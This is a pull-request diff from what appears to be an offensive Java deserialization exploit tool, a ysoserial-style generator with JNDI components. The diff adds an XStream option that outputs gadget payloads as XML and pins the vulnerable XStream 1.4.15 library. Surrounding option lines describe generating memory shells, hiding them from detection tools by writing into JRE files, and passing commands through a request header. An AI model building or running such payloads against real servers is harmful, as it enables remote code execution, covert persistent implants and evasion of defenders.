Merge pull request #53 from springkill/master

add XStream suggestion

build.gradle

@@ -97,6 +97,7 @@ dependencies {
 //    api libs.commons.beanutils.commons.beanutils
     api libs.javax.websocket.javax.websocket.api
     api libs.com.caucho.resin
+    api libs.com.thoughtworks.xstream
     implementation 'net.sf.json-lib:json-lib:2.4:jdk15'
     runtimeOnly libs.org.aspectj.aspectjweaver
     compileOnly libs.org.apache.tomcat.tomcat.websocket

gradle/libs.versions.toml

@@ -2,6 +2,7 @@
 # https://docs.gradle.org/current/userguide/platforms.html#sub::toml-dependencies-format
 
 [versions]
+com-thoughtworks-xstream = "1.4.15"
 cn-hutool-hutool-all = "5.7.7"
 com-alibaba-fastjson = "1.2.83"
 com-alibaba-fastjson2-fastjson2 = "2.0.26"
@@ -72,6 +73,7 @@ rome-rome = "1.0"
 xerces-xercesimpl = "2.12.0"
 
 [libraries]
+com-thoughtworks-xstream = { module = "com.thoughtworks.xstream:xstream", version.ref = "com-thoughtworks-xstream" }
 cn-hutool-hutool-all = { module = "cn.hutool:hutool-all", version.ref = "cn-hutool-hutool-all" }
 com-alibaba-fastjson = { module = "com.alibaba:fastjson", version.ref = "com-alibaba-fastjson" }
 com-alibaba-fastjson2-fastjson2 = { module = "com.alibaba.fastjson2:fastjson2", version.ref = "com-alibaba-fastjson2-fastjson2" }

src/main/java/com/qi4l/jndi/controllers/ysoserial.java

@@ -9,7 +9,6 @@ import com.qi4l.jndi.gadgets.utils.StringUtil;
 import com.qi4l.jndi.gadgets.utils.dirty.DirtyDataWrapper;
 import org.apache.commons.cli.*;
 
-import java.io.ByteArrayOutputStream;
 import java.io.FileOutputStream;
 import java.io.OutputStream;
 import java.util.*;
@@ -130,10 +129,19 @@ public class ysoserial {
             }
         }
 
+        if(cmdLine.hasOption("XStream")){
+            Config.IS_XSTREAM = true;
+        }
+
         final String payloadType = cmdLine.getOptionValue("gadget");
         final String command     = cmdLine.getOptionValue("parameters");
+        Class<? extends ObjectPayload> payloadClass = null;
+        if (Config.IS_XSTREAM){
+            payloadClass = ObjectPayload.Utils.getPayloadClass(cmdLine.getOptionValue("XStream"));
+        }else {
+            payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
+        }
 
-        final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
         if (payloadClass == null) {
             System.err.println("Invalid payload type '" + payloadType + "'");
             printUsage(options);
@@ -196,6 +204,7 @@ public class ysoserial {
         options.addOption("ch", "cmd-header", true, "Request Header which pass the command to Execute,default [X-Token-Data]");
         options.addOption("gen", "gen-mem-shell", false, "Write Memory Shell Class to File");
         options.addOption("n", "gen-mem-shell-name", true, "Memory Shell Class File Name");
+        options.addOption("x", "XStream", true, "Generate Xstream serialization xml");
         options.addOption("h", "hide-mem-shell", false, "Hide memory shell from detection tools (type 2 only support SpringControllerMS)");
         options.addOption("ht", "hide-type", true, "Hide memory shell,type 1:write /jre/lib/charsets.jar 2:write /jre/classes/");
         options.addOption("rh", "rhino", false, "ScriptEngineManager Using Rhino Engine to eval JS");

src/main/java/com/qi4l/jndi/gadgets/Config/Config.java

@@ -83,6 +83,7 @@ public class Config {
     public static Boolean IS_UTF_Bypass = false;
     public static Boolean IS_Hessian1 = false;
     public static Boolean IS_Hessian2 = false;
+    public static Boolean IS_XSTREAM = false;
     // 填充的脏数据长度
     public static int DIRTY_LENGTH_IN_TC_RESET = 0;
 

src/main/java/com/qi4l/jndi/gadgets/utils/Serializer.java

@@ -2,6 +2,7 @@ package com.qi4l.jndi.gadgets.utils;
 
 import com.caucho.hessian.io.*;
 import com.qi4l.jndi.gadgets.utils.utf8OverlongEncoding.UTF8OverlongObjectOutputStream;
+import com.thoughtworks.xstream.XStream;
 
 import java.util.Base64;
 import java.io.ByteArrayOutputStream;
@@ -65,6 +66,8 @@ public class Serializer implements Callable<byte[]> {
             AobjOut.setSerializerFactory(sf);
             AobjOut.writeObject(obj);
             AobjOut.close();
+        } else if (IS_XSTREAM) {
+            xStreamSerialize(obj);
         } else {
             if (BASE64) {
                 objOut = new SuObjectOutputStream(outB64);
@@ -75,6 +78,8 @@ public class Serializer implements Callable<byte[]> {
 
         if (IS_Hessian1 || IS_Hessian2) {
             AobjOut.writeObject(obj);
+        } else if (IS_XSTREAM){
+            return;
         } else {
             objOut.writeObject(obj);
         }
@@ -90,6 +95,12 @@ public class Serializer implements Callable<byte[]> {
         return serialize(object);
     }
 
+    public static void xStreamSerialize(Object payload) {
+        XStream xstream = new XStream();
+        String xml = xstream.toXML(payload);
+        System.out.println(xml);
+    }
+
     public static class SuObjectOutputStream extends ObjectOutputStream {
 
         public SuObjectOutputStream(OutputStream out) throws IOException {